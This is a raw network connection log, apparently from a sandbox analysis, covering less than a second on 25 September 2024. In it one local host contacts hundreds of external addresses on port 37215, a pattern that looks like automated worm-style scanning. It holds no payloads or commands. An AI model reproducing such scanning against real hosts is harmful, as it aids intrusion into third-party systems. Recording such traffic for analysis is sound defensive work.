Sep 25, 2024 14:14:20.667684078 CEST	43224	37215	192.168.2.14	197.225.126.86
Sep 25, 2024 14:14:20.667689085 CEST	37215	54688	197.190.148.163	192.168.2.14
Sep 25, 2024 14:14:20.667694092 CEST	63353	37215	192.168.2.14	41.253.179.82
Sep 25, 2024 14:14:20.667695999 CEST	63353	37215	192.168.2.14	41.240.129.181
Sep 25, 2024 14:14:20.667695999 CEST	63353	37215	192.168.2.14	156.63.146.130
Sep 25, 2024 14:14:20.667699099 CEST	58794	37215	192.168.2.14	197.39.150.174
Sep 25, 2024 14:14:20.667717934 CEST	37215	39562	156.156.136.242	192.168.2.14
Sep 25, 2024 14:14:20.667726040 CEST	63353	37215	192.168.2.14	197.157.171.232
Sep 25, 2024 14:14:20.667726040 CEST	54688	37215	192.168.2.14	197.190.148.163
Sep 25, 2024 14:14:20.667730093 CEST	63353	37215	192.168.2.14	197.244.192.231
Sep 25, 2024 14:14:20.667730093 CEST	63353	37215	192.168.2.14	197.8.86.37
Sep 25, 2024 14:14:20.667733908 CEST	63353	37215	192.168.2.14	41.8.124.140
Sep 25, 2024 14:14:20.667733908 CEST	63353	37215	192.168.2.14	197.89.204.63
Sep 25, 2024 14:14:20.667740107 CEST	63353	37215	192.168.2.14	156.140.88.204
Sep 25, 2024 14:14:20.667740107 CEST	63353	37215	192.168.2.14	156.51.4.31
Sep 25, 2024 14:14:20.667741060 CEST	63353	37215	192.168.2.14	156.1.92.175
Sep 25, 2024 14:14:20.667749882 CEST	37215	50922	41.155.154.161	192.168.2.14
Sep 25, 2024 14:14:20.667751074 CEST	39562	37215	192.168.2.14	156.156.136.242
Sep 25, 2024 14:14:20.667756081 CEST	63353	37215	192.168.2.14	156.158.99.136
Sep 25, 2024 14:14:20.667756081 CEST	63353	37215	192.168.2.14	41.16.107.48
Sep 25, 2024 14:14:20.667758942 CEST	63353	37215	192.168.2.14	197.61.96.1
Sep 25, 2024 14:14:20.667758942 CEST	63353	37215	192.168.2.14	197.219.131.173
Sep 25, 2024 14:14:20.667774916 CEST	63353	37215	192.168.2.14	156.228.156.154
Sep 25, 2024 14:14:20.667774916 CEST	63353	37215	192.168.2.14	41.100.236.253
Sep 25, 2024 14:14:20.667774916 CEST	63353	37215	192.168.2.14	156.92.22.129
Sep 25, 2024 14:14:20.667781115 CEST	37215	45652	197.11.206.26	192.168.2.14
Sep 25, 2024 14:14:20.667789936 CEST	63353	37215	192.168.2.14	156.161.210.112
Sep 25, 2024 14:14:20.667789936 CEST	50922	37215	192.168.2.14	41.155.154.161
Sep 25, 2024 14:14:20.667789936 CEST	63353	37215	192.168.2.14	41.134.147.211
Sep 25, 2024 14:14:20.667798042 CEST	63353	37215	192.168.2.14	156.227.138.88
Sep 25, 2024 14:14:20.667808056 CEST	63353	37215	192.168.2.14	197.104.247.67
Sep 25, 2024 14:14:20.667809963 CEST	63353	37215	192.168.2.14	197.123.227.44
Sep 25, 2024 14:14:20.667809963 CEST	63353	37215	192.168.2.14	197.54.122.106
Sep 25, 2024 14:14:20.667809963 CEST	37215	39126	197.92.172.196	192.168.2.14
Sep 25, 2024 14:14:20.667809963 CEST	63353	37215	192.168.2.14	197.27.104.20
Sep 25, 2024 14:14:20.667835951 CEST	63353	37215	192.168.2.14	197.137.14.146
Sep 25, 2024 14:14:20.667834997 CEST	63353	37215	192.168.2.14	197.204.89.202
Sep 25, 2024 14:14:20.667835951 CEST	63353	37215	192.168.2.14	197.132.59.21
Sep 25, 2024 14:14:20.667835951 CEST	63353	37215	192.168.2.14	41.105.175.29
Sep 25, 2024 14:14:20.667835951 CEST	63353	37215	192.168.2.14	197.34.18.232
Sep 25, 2024 14:14:20.667835951 CEST	63353	37215	192.168.2.14	41.167.250.48
Sep 25, 2024 14:14:20.667840004 CEST	63353	37215	192.168.2.14	41.236.129.192
Sep 25, 2024 14:14:20.667840004 CEST	63353	37215	192.168.2.14	41.128.175.218
Sep 25, 2024 14:14:20.667843103 CEST	37215	39080	41.64.17.0	192.168.2.14
Sep 25, 2024 14:14:20.667846918 CEST	63353	37215	192.168.2.14	41.46.111.19
Sep 25, 2024 14:14:20.667857885 CEST	63353	37215	192.168.2.14	197.200.149.96
Sep 25, 2024 14:14:20.667860985 CEST	39126	37215	192.168.2.14	197.92.172.196
Sep 25, 2024 14:14:20.667862892 CEST	45652	37215	192.168.2.14	197.11.206.26
Sep 25, 2024 14:14:20.667871952 CEST	37215	45068	156.127.3.148	192.168.2.14
Sep 25, 2024 14:14:20.667877913 CEST	63353	37215	192.168.2.14	41.118.69.124
Sep 25, 2024 14:14:20.667877913 CEST	63353	37215	192.168.2.14	156.42.49.211
Sep 25, 2024 14:14:20.667881966 CEST	63353	37215	192.168.2.14	41.134.41.15
Sep 25, 2024 14:14:20.667884111 CEST	63353	37215	192.168.2.14	41.29.255.66
Sep 25, 2024 14:14:20.667884111 CEST	63353	37215	192.168.2.14	41.128.36.102
Sep 25, 2024 14:14:20.667884111 CEST	63353	37215	192.168.2.14	197.78.174.19
Sep 25, 2024 14:14:20.667884111 CEST	63353	37215	192.168.2.14	197.182.64.53
Sep 25, 2024 14:14:20.667884111 CEST	39080	37215	192.168.2.14	41.64.17.0
Sep 25, 2024 14:14:20.667896986 CEST	63353	37215	192.168.2.14	41.227.221.139
Sep 25, 2024 14:14:20.667901039 CEST	37215	53486	41.6.71.108	192.168.2.14
Sep 25, 2024 14:14:20.667910099 CEST	63353	37215	192.168.2.14	156.127.147.150
Sep 25, 2024 14:14:20.667917013 CEST	63353	37215	192.168.2.14	156.154.170.204
Sep 25, 2024 14:14:20.667927027 CEST	63353	37215	192.168.2.14	156.253.64.133
Sep 25, 2024 14:14:20.667927980 CEST	63353	37215	192.168.2.14	197.134.158.203
Sep 25, 2024 14:14:20.667931080 CEST	63353	37215	192.168.2.14	197.84.173.254
Sep 25, 2024 14:14:20.667931080 CEST	63353	37215	192.168.2.14	156.95.203.157
Sep 25, 2024 14:14:20.667932034 CEST	37215	41532	197.23.243.19	192.168.2.14
Sep 25, 2024 14:14:20.667937994 CEST	63353	37215	192.168.2.14	197.136.151.79
Sep 25, 2024 14:14:20.667937994 CEST	45068	37215	192.168.2.14	156.127.3.148
Sep 25, 2024 14:14:20.667937994 CEST	53486	37215	192.168.2.14	41.6.71.108
Sep 25, 2024 14:14:20.667947054 CEST	63353	37215	192.168.2.14	41.104.251.210
Sep 25, 2024 14:14:20.667965889 CEST	63353	37215	192.168.2.14	197.206.168.121
Sep 25, 2024 14:14:20.667965889 CEST	63353	37215	192.168.2.14	156.1.248.248
Sep 25, 2024 14:14:20.667967081 CEST	63353	37215	192.168.2.14	41.239.97.134
Sep 25, 2024 14:14:20.667967081 CEST	37215	41942	197.96.2.106	192.168.2.14
Sep 25, 2024 14:14:20.667968035 CEST	63353	37215	192.168.2.14	156.218.207.25
Sep 25, 2024 14:14:20.667968035 CEST	63353	37215	192.168.2.14	41.233.99.230
Sep 25, 2024 14:14:20.667968035 CEST	63353	37215	192.168.2.14	41.188.193.192
Sep 25, 2024 14:14:20.667968988 CEST	63353	37215	192.168.2.14	197.25.16.47
Sep 25, 2024 14:14:20.667973042 CEST	41532	37215	192.168.2.14	197.23.243.19
Sep 25, 2024 14:14:20.667989969 CEST	63353	37215	192.168.2.14	41.131.227.254
Sep 25, 2024 14:14:20.667989969 CEST	63353	37215	192.168.2.14	197.146.216.59
Sep 25, 2024 14:14:20.668006897 CEST	63353	37215	192.168.2.14	197.223.229.158
Sep 25, 2024 14:14:20.668006897 CEST	63353	37215	192.168.2.14	156.61.110.240
Sep 25, 2024 14:14:20.668018103 CEST	63353	37215	192.168.2.14	156.227.147.189
Sep 25, 2024 14:14:20.668018103 CEST	63353	37215	192.168.2.14	156.165.198.28
Sep 25, 2024 14:14:20.668018103 CEST	63353	37215	192.168.2.14	41.235.4.30
Sep 25, 2024 14:14:20.668028116 CEST	63353	37215	192.168.2.14	156.242.27.160
Sep 25, 2024 14:14:20.668028116 CEST	63353	37215	192.168.2.14	41.74.174.240
Sep 25, 2024 14:14:20.668028116 CEST	41942	37215	192.168.2.14	197.96.2.106
Sep 25, 2024 14:14:20.668028116 CEST	63353	37215	192.168.2.14	41.34.211.35
Sep 25, 2024 14:14:20.668035030 CEST	63353	37215	192.168.2.14	197.239.39.235
Sep 25, 2024 14:14:20.668039083 CEST	63353	37215	192.168.2.14	41.163.87.183
Sep 25, 2024 14:14:20.668039083 CEST	63353	37215	192.168.2.14	197.61.234.142
Sep 25, 2024 14:14:20.668039083 CEST	63353	37215	192.168.2.14	197.212.52.223
Sep 25, 2024 14:14:20.668042898 CEST	63353	37215	192.168.2.14	156.138.179.124
Sep 25, 2024 14:14:20.668042898 CEST	63353	37215	192.168.2.14	156.182.79.132
Sep 25, 2024 14:14:20.668060064 CEST	63353	37215	192.168.2.14	197.211.231.99
Sep 25, 2024 14:14:20.668060064 CEST	63353	37215	192.168.2.14	41.97.143.46
Sep 25, 2024 14:14:20.668061018 CEST	63353	37215	192.168.2.14	156.119.13.225
Sep 25, 2024 14:14:20.668061018 CEST	63353	37215	192.168.2.14	197.132.127.104
Sep 25, 2024 14:14:20.668071032 CEST	63353	37215	192.168.2.14	41.22.96.186
Sep 25, 2024 14:14:20.668080091 CEST	63353	37215	192.168.2.14	156.139.171.211
Sep 25, 2024 14:14:20.668080091 CEST	63353	37215	192.168.2.14	41.7.13.120
Sep 25, 2024 14:14:20.668082952 CEST	63353	37215	192.168.2.14	156.204.23.178
Sep 25, 2024 14:14:20.668082952 CEST	63353	37215	192.168.2.14	197.226.20.173
Sep 25, 2024 14:14:20.668082952 CEST	63353	37215	192.168.2.14	41.135.233.147
Sep 25, 2024 14:14:20.668082952 CEST	63353	37215	192.168.2.14	41.55.73.167
Sep 25, 2024 14:14:20.668102026 CEST	63353	37215	192.168.2.14	197.205.245.25
Sep 25, 2024 14:14:20.668106079 CEST	63353	37215	192.168.2.14	41.220.177.1
Sep 25, 2024 14:14:20.668114901 CEST	63353	37215	192.168.2.14	197.28.219.209
Sep 25, 2024 14:14:20.668116093 CEST	63353	37215	192.168.2.14	197.167.73.182
Sep 25, 2024 14:14:20.668117046 CEST	63353	37215	192.168.2.14	197.119.194.149
Sep 25, 2024 14:14:20.668117046 CEST	63353	37215	192.168.2.14	197.122.191.205
Sep 25, 2024 14:14:20.668117046 CEST	63353	37215	192.168.2.14	41.205.188.89
Sep 25, 2024 14:14:20.668117046 CEST	63353	37215	192.168.2.14	156.100.206.50
Sep 25, 2024 14:14:20.668128967 CEST	63353	37215	192.168.2.14	156.58.148.3
Sep 25, 2024 14:14:20.668128967 CEST	63353	37215	192.168.2.14	197.203.20.127
Sep 25, 2024 14:14:20.668132067 CEST	63353	37215	192.168.2.14	197.42.111.107
Sep 25, 2024 14:14:20.668133020 CEST	63353	37215	192.168.2.14	41.5.164.195
Sep 25, 2024 14:14:20.668138981 CEST	63353	37215	192.168.2.14	156.7.195.187
Sep 25, 2024 14:14:20.668143034 CEST	63353	37215	192.168.2.14	156.99.139.206
Sep 25, 2024 14:14:20.668153048 CEST	63353	37215	192.168.2.14	197.45.121.140
Sep 25, 2024 14:14:20.668154001 CEST	63353	37215	192.168.2.14	41.85.133.221
Sep 25, 2024 14:14:20.668153048 CEST	63353	37215	192.168.2.14	197.156.129.90
Sep 25, 2024 14:14:20.668165922 CEST	63353	37215	192.168.2.14	197.36.8.190
Sep 25, 2024 14:14:20.668169022 CEST	63353	37215	192.168.2.14	41.20.255.193
Sep 25, 2024 14:14:20.668170929 CEST	63353	37215	192.168.2.14	197.18.67.79
Sep 25, 2024 14:14:20.668179035 CEST	63353	37215	192.168.2.14	156.40.246.205
Sep 25, 2024 14:14:20.668180943 CEST	63353	37215	192.168.2.14	156.130.12.28
Sep 25, 2024 14:14:20.668180943 CEST	63353	37215	192.168.2.14	197.101.202.215
Sep 25, 2024 14:14:20.668189049 CEST	63353	37215	192.168.2.14	41.153.12.132
Sep 25, 2024 14:14:20.668190002 CEST	63353	37215	192.168.2.14	156.187.53.211
Sep 25, 2024 14:14:20.668190002 CEST	63353	37215	192.168.2.14	156.150.94.241
Sep 25, 2024 14:14:20.668203115 CEST	63353	37215	192.168.2.14	41.83.245.199
Sep 25, 2024 14:14:20.668349981 CEST	57734	37215	192.168.2.14	41.189.63.143
Sep 25, 2024 14:14:20.668354988 CEST	58794	37215	192.168.2.14	197.39.150.174
Sep 25, 2024 14:14:20.668368101 CEST	39124	37215	192.168.2.14	41.174.94.226
Sep 25, 2024 14:14:20.668376923 CEST	49308	37215	192.168.2.14	156.95.71.36
Sep 25, 2024 14:14:20.668376923 CEST	49308	37215	192.168.2.14	156.95.71.36
Sep 25, 2024 14:14:20.673176050 CEST	37215	63353	197.88.23.116	192.168.2.14
Sep 25, 2024 14:14:20.673207998 CEST	37215	63353	197.78.221.181	192.168.2.14
Sep 25, 2024 14:14:20.673238039 CEST	37215	63353	197.45.37.80	192.168.2.14
Sep 25, 2024 14:14:20.673250914 CEST	37215	63353	156.210.180.184	192.168.2.14
Sep 25, 2024 14:14:20.673275948 CEST	63353	37215	192.168.2.14	197.88.23.116
Sep 25, 2024 14:14:20.673286915 CEST	63353	37215	192.168.2.14	197.45.37.80
Sep 25, 2024 14:14:20.673306942 CEST	37215	63353	156.59.247.173	192.168.2.14
Sep 25, 2024 14:14:20.673317909 CEST	63353	37215	192.168.2.14	197.78.221.181
Sep 25, 2024 14:14:20.673337936 CEST	37215	63353	156.62.172.152	192.168.2.14
Sep 25, 2024 14:14:20.673338890 CEST	63353	37215	192.168.2.14	156.59.247.173
Sep 25, 2024 14:14:20.673340082 CEST	63353	37215	192.168.2.14	156.210.180.184
Sep 25, 2024 14:14:20.673368931 CEST	37215	63353	156.231.117.91	192.168.2.14
Sep 25, 2024 14:14:20.673398018 CEST	37215	63353	197.101.92.66	192.168.2.14
Sep 25, 2024 14:14:20.673422098 CEST	63353	37215	192.168.2.14	156.62.172.152
Sep 25, 2024 14:14:20.673425913 CEST	37215	63353	197.32.39.39	192.168.2.14
Sep 25, 2024 14:14:20.673429012 CEST	63353	37215	192.168.2.14	156.231.117.91
Sep 25, 2024 14:14:20.673433065 CEST	63353	37215	192.168.2.14	197.101.92.66
Sep 25, 2024 14:14:20.673455000 CEST	37215	63353	156.15.188.124	192.168.2.14
Sep 25, 2024 14:14:20.673484087 CEST	37215	63353	41.64.174.42	192.168.2.14
Sep 25, 2024 14:14:20.673511028 CEST	37215	63353	156.42.254.84	192.168.2.14
Sep 25, 2024 14:14:20.673538923 CEST	37215	63353	197.33.241.206	192.168.2.14
Sep 25, 2024 14:14:20.673546076 CEST	63353	37215	192.168.2.14	41.64.174.42
Sep 25, 2024 14:14:20.673568010 CEST	37215	63353	156.80.89.118	192.168.2.14
Sep 25, 2024 14:14:20.673569918 CEST	63353	37215	192.168.2.14	197.32.39.39
Sep 25, 2024 14:14:20.673569918 CEST	63353	37215	192.168.2.14	156.15.188.124
Sep 25, 2024 14:14:20.673573017 CEST	63353	37215	192.168.2.14	197.33.241.206
Sep 25, 2024 14:14:20.673604012 CEST	37215	63353	156.58.104.192	192.168.2.14
Sep 25, 2024 14:14:20.673619986 CEST	63353	37215	192.168.2.14	156.42.254.84
Sep 25, 2024 14:14:20.673629999 CEST	63353	37215	192.168.2.14	156.80.89.118
Sep 25, 2024 14:14:20.673650980 CEST	63353	37215	192.168.2.14	156.58.104.192
Sep 25, 2024 14:14:20.673655987 CEST	37215	63353	41.82.189.161	192.168.2.14
Sep 25, 2024 14:14:20.673686981 CEST	37215	63353	197.250.101.246	192.168.2.14
Sep 25, 2024 14:14:20.673717976 CEST	37215	63353	41.205.102.19	192.168.2.14
Sep 25, 2024 14:14:20.673719883 CEST	63353	37215	192.168.2.14	41.82.189.161
Sep 25, 2024 14:14:20.673747063 CEST	37215	63353	197.242.74.227	192.168.2.14
Sep 25, 2024 14:14:20.673754930 CEST	63353	37215	192.168.2.14	197.250.101.246
Sep 25, 2024 14:14:20.673774958 CEST	37215	63353	156.21.52.238	192.168.2.14
Sep 25, 2024 14:14:20.673794985 CEST	63353	37215	192.168.2.14	197.242.74.227
Sep 25, 2024 14:14:20.673803091 CEST	63353	37215	192.168.2.14	41.205.102.19
Sep 25, 2024 14:14:20.673803091 CEST	37215	63353	156.212.237.154	192.168.2.14
Sep 25, 2024 14:14:20.673831940 CEST	37215	63353	156.54.182.52	192.168.2.14
Sep 25, 2024 14:14:20.673860073 CEST	37215	63353	197.58.17.124	192.168.2.14
Sep 25, 2024 14:14:20.673867941 CEST	63353	37215	192.168.2.14	156.212.237.154
Sep 25, 2024 14:14:20.673867941 CEST	63353	37215	192.168.2.14	156.54.182.52
Sep 25, 2024 14:14:20.673867941 CEST	63353	37215	192.168.2.14	156.21.52.238
Sep 25, 2024 14:14:20.673887968 CEST	37215	63353	156.251.233.185	192.168.2.14
Sep 25, 2024 14:14:20.673916101 CEST	37215	63353	41.88.166.171	192.168.2.14
Sep 25, 2024 14:14:20.673943996 CEST	37215	63353	156.100.115.49	192.168.2.14
Sep 25, 2024 14:14:20.673950911 CEST	63353	37215	192.168.2.14	156.251.233.185
Sep 25, 2024 14:14:20.673957109 CEST	63353	37215	192.168.2.14	197.58.17.124
Sep 25, 2024 14:14:20.673973083 CEST	37215	63353	197.61.41.74	192.168.2.14
Sep 25, 2024 14:14:20.674000978 CEST	37215	63353	41.112.146.16	192.168.2.14
Sep 25, 2024 14:14:20.674001932 CEST	63353	37215	192.168.2.14	156.100.115.49
Sep 25, 2024 14:14:20.674005985 CEST	63353	37215	192.168.2.14	41.88.166.171
Sep 25, 2024 14:14:20.674030066 CEST	37215	63353	156.167.82.254	192.168.2.14
Sep 25, 2024 14:14:20.674082041 CEST	37215	63353	41.36.156.215	192.168.2.14
Sep 25, 2024 14:14:20.674109936 CEST	63353	37215	192.168.2.14	41.112.146.16
Sep 25, 2024 14:14:20.674110889 CEST	37215	63353	156.208.132.185	192.168.2.14
Sep 25, 2024 14:14:20.674122095 CEST	63353	37215	192.168.2.14	156.167.82.254
Sep 25, 2024 14:14:20.674129009 CEST	63353	37215	192.168.2.14	41.36.156.215
Sep 25, 2024 14:14:20.674139977 CEST	37215	63353	156.65.31.199	192.168.2.14
Sep 25, 2024 14:14:20.674144983 CEST	63353	37215	192.168.2.14	197.61.41.74
Sep 25, 2024 14:14:20.674174070 CEST	37215	63353	41.234.65.145	192.168.2.14
Sep 25, 2024 14:14:20.674179077 CEST	63353	37215	192.168.2.14	156.208.132.185
Sep 25, 2024 14:14:20.674202919 CEST	37215	63353	156.179.154.203	192.168.2.14
Sep 25, 2024 14:14:20.674232006 CEST	37215	63353	197.189.33.238	192.168.2.14
Sep 25, 2024 14:14:20.674261093 CEST	37215	63353	197.106.92.244	192.168.2.14
Sep 25, 2024 14:14:20.674280882 CEST	63353	37215	192.168.2.14	156.179.154.203
Sep 25, 2024 14:14:20.674288988 CEST	37215	63353	197.150.186.156	192.168.2.14
Sep 25, 2024 14:14:20.674293041 CEST	63353	37215	192.168.2.14	41.234.65.145
Sep 25, 2024 14:14:20.674295902 CEST	63353	37215	192.168.2.14	156.65.31.199
Sep 25, 2024 14:14:20.674295902 CEST	63353	37215	192.168.2.14	197.106.92.244
Sep 25, 2024 14:14:20.674316883 CEST	37215	63353	41.106.32.54	192.168.2.14
Sep 25, 2024 14:14:20.674319029 CEST	63353	37215	192.168.2.14	197.189.33.238
Sep 25, 2024 14:14:20.674345970 CEST	37215	63353	41.10.145.181	192.168.2.14
Sep 25, 2024 14:14:20.674354076 CEST	63353	37215	192.168.2.14	41.106.32.54
Sep 25, 2024 14:14:20.674370050 CEST	63353	37215	192.168.2.14	197.150.186.156
Sep 25, 2024 14:14:20.674375057 CEST	37215	63353	41.198.29.203	192.168.2.14
Sep 25, 2024 14:14:20.674403906 CEST	37215	63353	156.134.174.192	192.168.2.14
Sep 25, 2024 14:14:20.674431086 CEST	37215	63353	197.23.115.188	192.168.2.14
Sep 25, 2024 14:14:20.674451113 CEST	63353	37215	192.168.2.14	156.134.174.192
Sep 25, 2024 14:14:20.674453020 CEST	63353	37215	192.168.2.14	41.10.145.181
Sep 25, 2024 14:14:20.674453020 CEST	63353	37215	192.168.2.14	41.198.29.203
Sep 25, 2024 14:14:20.674460888 CEST	37215	63353	197.157.8.210	192.168.2.14
Sep 25, 2024 14:14:20.674489975 CEST	37215	63353	197.42.126.28	192.168.2.14
Sep 25, 2024 14:14:20.674518108 CEST	37215	63353	156.217.145.145	192.168.2.14
Sep 25, 2024 14:14:20.674546003 CEST	37215	63353	156.60.202.13	192.168.2.14
Sep 25, 2024 14:14:20.674560070 CEST	63353	37215	192.168.2.14	197.157.8.210
Sep 25, 2024 14:14:20.674561024 CEST	63353	37215	192.168.2.14	156.217.145.145
Sep 25, 2024 14:14:20.674572945 CEST	63353	37215	192.168.2.14	197.23.115.188
Sep 25, 2024 14:14:20.674576044 CEST	37215	63353	41.176.71.4	192.168.2.14
Sep 25, 2024 14:14:20.674607038 CEST	37215	63353	197.176.242.81	192.168.2.14
Sep 25, 2024 14:14:20.674616098 CEST	63353	37215	192.168.2.14	156.60.202.13
Sep 25, 2024 14:14:20.674617052 CEST	63353	37215	192.168.2.14	197.42.126.28
Sep 25, 2024 14:14:20.674635887 CEST	63353	37215	192.168.2.14	41.176.71.4
Sep 25, 2024 14:14:20.674637079 CEST	37215	63353	41.253.179.82	192.168.2.14
Sep 25, 2024 14:14:20.674665928 CEST	37215	63353	41.240.129.181	192.168.2.14
Sep 25, 2024 14:14:20.674695015 CEST	37215	63353	156.63.146.130	192.168.2.14
Sep 25, 2024 14:14:20.674730062 CEST	63353	37215	192.168.2.14	197.176.242.81
Sep 25, 2024 14:14:20.674731970 CEST	63353	37215	192.168.2.14	41.240.129.181
Sep 25, 2024 14:14:20.674742937 CEST	63353	37215	192.168.2.14	41.253.179.82
Sep 25, 2024 14:14:20.674748898 CEST	37215	63353	197.157.171.232	192.168.2.14
Sep 25, 2024 14:14:20.674781084 CEST	37215	63353	197.244.192.231	192.168.2.14
Sep 25, 2024 14:14:20.674787998 CEST	63353	37215	192.168.2.14	156.63.146.130
Sep 25, 2024 14:14:20.674807072 CEST	63353	37215	192.168.2.14	197.157.171.232
Sep 25, 2024 14:14:20.674810886 CEST	37215	63353	197.8.86.37	192.168.2.14
Sep 25, 2024 14:14:20.674839973 CEST	37215	63353	156.1.92.175	192.168.2.14
Sep 25, 2024 14:14:20.674841881 CEST	63353	37215	192.168.2.14	197.244.192.231
Sep 25, 2024 14:14:20.674841881 CEST	63353	37215	192.168.2.14	197.8.86.37
Sep 25, 2024 14:14:20.674866915 CEST	37215	63353	156.140.88.204	192.168.2.14
Sep 25, 2024 14:14:20.674871922 CEST	63353	37215	192.168.2.14	156.1.92.175
Sep 25, 2024 14:14:20.674896002 CEST	37215	63353	156.51.4.31	192.168.2.14
Sep 25, 2024 14:14:20.674925089 CEST	37215	63353	156.158.99.136	192.168.2.14
Sep 25, 2024 14:14:20.674928904 CEST	63353	37215	192.168.2.14	156.140.88.204
Sep 25, 2024 14:14:20.674947977 CEST	63353	37215	192.168.2.14	156.51.4.31
Sep 25, 2024 14:14:20.674953938 CEST	37215	63353	41.16.107.48	192.168.2.14
Sep 25, 2024 14:14:20.674981117 CEST	37215	63353	197.61.96.1	192.168.2.14
Sep 25, 2024 14:14:20.674987078 CEST	63353	37215	192.168.2.14	156.158.99.136
Sep 25, 2024 14:14:20.675010920 CEST	37215	63353	197.219.131.173	192.168.2.14
Sep 25, 2024 14:14:20.675040007 CEST	37215	63353	41.8.124.140	192.168.2.14
Sep 25, 2024 14:14:20.675049067 CEST	63353	37215	192.168.2.14	197.61.96.1
Sep 25, 2024 14:14:20.675049067 CEST	63353	37215	192.168.2.14	41.16.107.48
Sep 25, 2024 14:14:20.675067902 CEST	37215	63353	197.89.204.63	192.168.2.14
Sep 25, 2024 14:14:20.675095081 CEST	63353	37215	192.168.2.14	197.219.131.173
Sep 25, 2024 14:14:20.675096989 CEST	63353	37215	192.168.2.14	41.8.124.140
Sep 25, 2024 14:14:20.675097942 CEST	37215	63353	156.228.156.154	192.168.2.14
Sep 25, 2024 14:14:20.675116062 CEST	63353	37215	192.168.2.14	197.89.204.63
Sep 25, 2024 14:14:20.675127983 CEST	37215	63353	41.100.236.253	192.168.2.14
Sep 25, 2024 14:14:20.675156116 CEST	37215	63353	156.92.22.129	192.168.2.14
Sep 25, 2024 14:14:20.675184965 CEST	37215	63353	156.161.210.112	192.168.2.14
Sep 25, 2024 14:14:20.675187111 CEST	63353	37215	192.168.2.14	156.228.156.154
Sep 25, 2024 14:14:20.675200939 CEST	63353	37215	192.168.2.14	41.100.236.253
Sep 25, 2024 14:14:20.675214052 CEST	37215	63353	41.134.147.211	192.168.2.14
Sep 25, 2024 14:14:20.675241947 CEST	37215	63353	197.123.227.44	192.168.2.14
Sep 25, 2024 14:14:20.675268888 CEST	37215	63353	156.227.138.88	192.168.2.14
Sep 25, 2024 14:14:20.675275087 CEST	63353	37215	192.168.2.14	156.161.210.112
Sep 25, 2024 14:14:20.675275087 CEST	63353	37215	192.168.2.14	41.134.147.211
Sep 25, 2024 14:14:20.675285101 CEST	63353	37215	192.168.2.14	197.123.227.44
Sep 25, 2024 14:14:20.675293922 CEST	63353	37215	192.168.2.14	156.92.22.129
Sep 25, 2024 14:14:20.675297976 CEST	37215	63353	197.104.247.67	192.168.2.14
Sep 25, 2024 14:14:20.675308943 CEST	49488	37215	192.168.2.14	156.95.71.36
Sep 25, 2024 14:14:20.675328016 CEST	37215	63353	197.54.122.106	192.168.2.14
Sep 25, 2024 14:14:20.675339937 CEST	63353	37215	192.168.2.14	197.104.247.67
Sep 25, 2024 14:14:20.675370932 CEST	63353	37215	192.168.2.14	156.227.138.88
Sep 25, 2024 14:14:20.675379992 CEST	37215	49308	156.95.71.36	192.168.2.14
Sep 25, 2024 14:14:20.675388098 CEST	63353	37215	192.168.2.14	197.54.122.106
Sep 25, 2024 14:14:20.675426960 CEST	37215	57734	41.189.63.143	192.168.2.14
Sep 25, 2024 14:14:20.675455093 CEST	37215	58794	197.39.150.174	192.168.2.14
Sep 25, 2024 14:14:20.675472975 CEST	57734	37215	192.168.2.14	41.189.63.143
Sep 25, 2024 14:14:20.675482988 CEST	37215	39124	41.174.94.226	192.168.2.14
Sep 25, 2024 14:14:20.675525904 CEST	58794	37215	192.168.2.14	197.39.150.174
Sep 25, 2024 14:14:20.675530910 CEST	39124	37215	192.168.2.14	41.174.94.226
Sep 25, 2024 14:14:20.683363914 CEST	37215	49488	156.95.71.36	192.168.2.14
Sep 25, 2024 14:14:20.686160088 CEST	49488	37215	192.168.2.14	156.95.71.36
Sep 25, 2024 14:14:20.693871021 CEST	58874	37215	192.168.2.14	41.97.75.125
Sep 25, 2024 14:14:20.693877935 CEST	38062	37215	192.168.2.14	197.154.112.146
Sep 25, 2024 14:14:20.693877935 CEST	34212	37215	192.168.2.14	41.52.96.33
Sep 25, 2024 14:14:20.693881035 CEST	36274	37215	192.168.2.14	197.124.16.109
Sep 25, 2024 14:14:20.693881035 CEST	57824	37215	192.168.2.14	156.214.201.70
Sep 25, 2024 14:14:20.693886042 CEST	56944	37215	192.168.2.14	197.202.161.248
Sep 25, 2024 14:14:20.693886042 CEST	45988	37215	192.168.2.14	41.237.72.126
Sep 25, 2024 14:14:20.693886042 CEST	58766	37215	192.168.2.14	156.220.215.4
Sep 25, 2024 14:14:20.693892002 CEST	36630	37215	192.168.2.14	41.35.65.127
Sep 25, 2024 14:14:20.693892002 CEST	51806	37215	192.168.2.14	156.183.212.73
Sep 25, 2024 14:14:20.693895102 CEST	52680	37215	192.168.2.14	197.244.126.104
Sep 25, 2024 14:14:20.693895102 CEST	44556	37215	192.168.2.14	41.228.200.255
Sep 25, 2024 14:14:20.693896055 CEST	52260	37215	192.168.2.14	41.89.218.249
Sep 25, 2024 14:14:20.693896055 CEST	36276	37215	192.168.2.14	41.30.124.221
Sep 25, 2024 14:14:20.693908930 CEST	43338	37215	192.168.2.14	41.230.230.18
Sep 25, 2024 14:14:20.693908930 CEST	34270	37215	192.168.2.14	41.158.116.136
Sep 25, 2024 14:14:20.693908930 CEST	39966	37215	192.168.2.14	41.182.180.190
Sep 25, 2024 14:14:20.693908930 CEST	58822	37215	192.168.2.14	41.143.106.216
Sep 25, 2024 14:14:20.693909883 CEST	56570	37215	192.168.2.14	41.164.189.192
Sep 25, 2024 14:14:20.693909883 CEST	48304	37215	192.168.2.14	41.172.112.204
Sep 25, 2024 14:14:20.693914890 CEST	42234	37215	192.168.2.14	41.248.146.253
Sep 25, 2024 14:14:20.693914890 CEST	47136	37215	192.168.2.14	197.200.44.43
Sep 25, 2024 14:14:20.693916082 CEST	58750	37215	192.168.2.14	41.77.182.33
Sep 25, 2024 14:14:20.693914890 CEST	51890	37215	192.168.2.14	156.129.236.212
Sep 25, 2024 14:14:20.693917990 CEST	40530	37215	192.168.2.14	197.170.229.98
Sep 25, 2024 14:14:20.693922997 CEST	52556	37215	192.168.2.14	197.178.176.208
Sep 25, 2024 14:14:20.693934917 CEST	42280	37215	192.168.2.14	156.54.30.158
Sep 25, 2024 14:14:20.693936110 CEST	41460	37215	192.168.2.14	156.111.235.109
Sep 25, 2024 14:14:20.693937063 CEST	52962	37215	192.168.2.14	197.200.152.166
Sep 25, 2024 14:14:20.693937063 CEST	33568	37215	192.168.2.14	41.91.77.103
Sep 25, 2024 14:14:20.693941116 CEST	55680	37215	192.168.2.14	197.31.136.188
Sep 25, 2024 14:14:20.693943024 CEST	49700	37215	192.168.2.14	41.161.63.211
Sep 25, 2024 14:14:20.693943024 CEST	50010	37215	192.168.2.14	41.85.21.208
